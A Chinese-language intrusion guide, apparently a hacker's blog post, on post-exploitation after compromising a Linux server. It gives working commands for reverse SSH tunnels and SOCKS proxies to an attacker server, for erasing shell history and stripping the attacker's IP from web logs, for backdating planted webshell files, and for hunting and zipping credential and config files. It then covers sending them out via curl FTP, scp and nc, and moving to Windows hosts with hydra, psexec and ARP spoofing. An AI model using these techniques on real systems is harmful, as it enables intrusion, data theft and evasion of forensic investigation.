找到切入點后,首先是要彈個shell,一般我用back.py
配合nc使用,nc監聽端口就不說了。
back.py會自動去掉各種history記錄,確保shell斷掉的時候不會被記錄到bash_history里面
反彈內網端口:
ssh有幾個比較重要的參數:
-f: 連接成功后切換到后臺,不會占用當前的shell,shell斷了也會繼續執行,相當于 nohup和&。
-N: 連接后不調用shell,用處后面講。
-R:把本地網絡(可以是本機或者任何內網甚至外網端口)端口反彈到ssh服務器
用法:
首先你要有個外網ip的ssh服務器,如果目標內網限制了訪問端口,可以開到常見端口比如80或者443上面,可以直接改設置或者iptables映射一下。你需要有這個服務器的root權限。在sshd_config里面打開端口轉發, AllowTcpForwarding yes 還有 Gateway Ports,如果之前沒開的話改完需要重啟一下sshd。
另外就是因為反彈端口需要讓目標機器登錄到你的ssh服務器,為了安全起見需要建立一個專門用來端口轉發的用戶,useradd隨便建個用戶,設置密碼然后到/etc/passwd里面,把最后一個':'后面的shell位置改成/sbin/nologin或者/bin/false,這樣即使對方記錄了你的ssh密碼也沒法對你轉發的服務器做什么(比如取證之類)
-N的作用:
因為轉發用的用戶沒有shell,如果沒有-N的話會因為得不到shell而自動斷開連接,-N可以避免這一點。
開始轉發:
ssh -fNR 要反彈到的端口:目標本機或者內外ip:要反彈的目標端口 [email protected] 執行后會問你轉發用戶名的密碼,輸入成功后會自動切換到后臺
例子1:
本地轉發: 目標機器上有個oracle端口在1521,但是只能從內網訪問。提權提不上,沒裝sqlplus等工具,webshell數據庫管理各種出錯,不過翻到了登錄用戶名和密碼。不過我自己的機器上裝了個navicat for oracle?? ssh服務器上的端口轉發用戶名叫forward,服務器ip是123.123.123.123
ssh -fNR 11521:127.0.0.1:1521 [email protected]
注意:之所以開到11521端口是因為<1024的端口需要root權限才能占用,另外注意你反彈到服務器的端口不能被iptables之類的擋住,不然你沒法從外網訪問(廢話么)
反彈成功后,打開navicat,新建個連接,ip輸入123.123.123.123,端口輸入11521,然后用戶名和密碼,啪啪啪??連上了
例子2:
內網ip轉發: 除了能轉發localhost,還能轉發內網其他ip的端口,甚至在不同網段都行,只要能從內網的已淪陷機器訪問到就行。比如內網有個windows服務器,ip 192.168.5.10, 開了3389端口,不過也只能在內網訪問??
ssh -fNR 13389:192.168.5.10:3389 [email protected]
反彈成功后mstsc連123.123.123.123:13389即可??
ssh轉發端口是可以多開的,就是要注意轉發到你服務器的端口不要重了。
用完之后記得關掉:
ps aux|grep ssh
在進程里可以看到ssh的轉發命令,把pid kill了就行。另外也可以在ssh服務器端kill,
netstat -anp|grep sshd
ssh的時候會記錄known_hosts,所以最后擦屁股的時候記得到開ssh的用戶名的home文件夾 .ssh里面把known_hosts清掉
ssh反彈socks5方法
如果用ssh自帶的socks5服務器的話,需要一個能在本地登錄的帳號,可以是nologin的,但是必須要能登錄,如果不是root的話,socks端口只能開到>1024的端口。原理是先在本地開socks5,然后把本地socks5服務器的端口彈到遠程服務器。
姿勢:
ssh -fND 127.0.0.1:8080 [email protected]
這樣會在本地8080端口開socks5代理,然后反彈
ssh -fNR 18080:127.0.0.1:8080 [email protected]
這樣可以把socks5代理彈到123.123.123.123的18080端口,可以用proxychains和其他支持socks5代理的工具最大限度的窺探內網
通過其他方式得到shell的話,需要去掉histfile等環境變量:
unset HISTORY HISTFILE HISTSAVE HISTZONE HISTORY HISTLOG; export HISTFILE=/dev/null;
登錄ssh后管理員用w查看當前登錄用戶,所以有必要隱藏,推薦xi4oyu的logtamper
清除日志里指定內容:
日志必須是文本格式,而且你有權限讀寫??
awk '!/pattern/' filename > temp && mv temp filename
這個原理說白了就是去掉原文件里的指定內容然后生成新文件,再用新的覆蓋舊的,弄完記得用chmod還原原來的屬性. 例子:
awk '!/123.123.123.123/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
去掉所有包含123.123.123.123的日志記錄。 可以匹配多個關鍵詞:
awk '!/123.123.123.123|111.111.111.111|phpspy.php/' /var/log/httpd/access_log > temp && mv temp /var/log/httpd/access_log
修改文件訪問|創建|修改時間:
touch -amt 200901231532 文件名
改成2009年1月23號15點32分
批量修改時間:
比如你在一個文件夾改了很多php插了一堆一句話:
ls|xargs touch -amt 200901231532
把當前目錄所有文件時間都改了
信息搜集:
find / ! -path "/usr/share/*" -regex ".*.sh$|.*.pl$|.*.py$|.*.conf$|.*.cnf$|.*.ini$|.*\/..*history$|.*\/..*pass.*$|.*secret$" -print|zip pack.zip -@
打包各種腳本和配置文件還有history日志。 有的環境下zip需要一些參數才能用,請自行修改
在/var/www搜集全部 conf.php然后打包
find /var/www -name '*conf*.php' -print | zip config.zip -@
找包含特定內容的文件并且那一行顯示出來:
grep -RPa --include=*.php ’($PATTERNS)‘ $SEARCH_DIR
比如在web目錄找包含password這個詞的所有php
grep -RPa --include=*.php 'password' /var/www
pattern可以用正則,可以不指定文件類型(很慢??)
找到需要的東西后,怎么往外發也是個問題,一般大文件用ftp,scp,小文件用nc。
ftp方法:
如果目標裝了curl的話就很簡單了
curl -v -T 文件名 ftp://username:[email protected]
scp方法:
適合有ids之類東西的地方,可以把sshd開到443等傳統加密流量的接口,scp帳號需要有寫入和執行shell的權限
scp backup.tgz [email protected]:/tmp/backup.tgz
nc方法:
先在服務端監聽
nc -l port > 文件名
然后到要發送文件的服務器
nc 服務端ip 端口 < 文件名
發送小文件還行,大文件有時候會斷。
有些時候你拿了linux服務器的shell,想跨到windows的機器上,基本就是通過兩個手段,一個是針對windows的服務進行exploit溢出,還有就是利用在linux上搜集的用戶名和密碼然后通過psexec放shell。
首先要確定windows主機的位置和打開的服務,在內網掃開445和3389的機器,基本是windows了,掃的時候要注意,不管用什么工具,盡量用socket connect的方式掃。像SYN 方式掃描如果內網有ids之類肯定會被發現,connect方式掃描相對來說和正常連接差不多。 掃到windows機器列表后,準備好剛才在linux下收集的各種用戶名和密碼,還有一些常見的弱密碼,生成密碼字典和用戶名字典,字典里再加上一些windows本身的用戶名,比如administrator。 嘗試密碼的話直接在linux下用hydra,破解smb密碼,運氣好的話,只要掃出一個,就能用psexec getshell了。運氣不好就剩下溢出這一條路了。如果溢出都不行,windows主機和linux在同一個網段的話,還可以試試通過arp spoof抓smb認證包,然后把hash弄出來破解或者注入hash,但是動靜會比較大,不到最后不建議使用。
psexec:
有幾種選擇,metasploit里面auxiliary里面的psexec模塊,可以直接放個msf的reverse paylaod上去。另外可以把windows的服務器的445端口反彈出來,再找個windows的機器用psexec。還有就是直接在內網的linux機器上用python的psexec,https://code.google.com/p/impacket/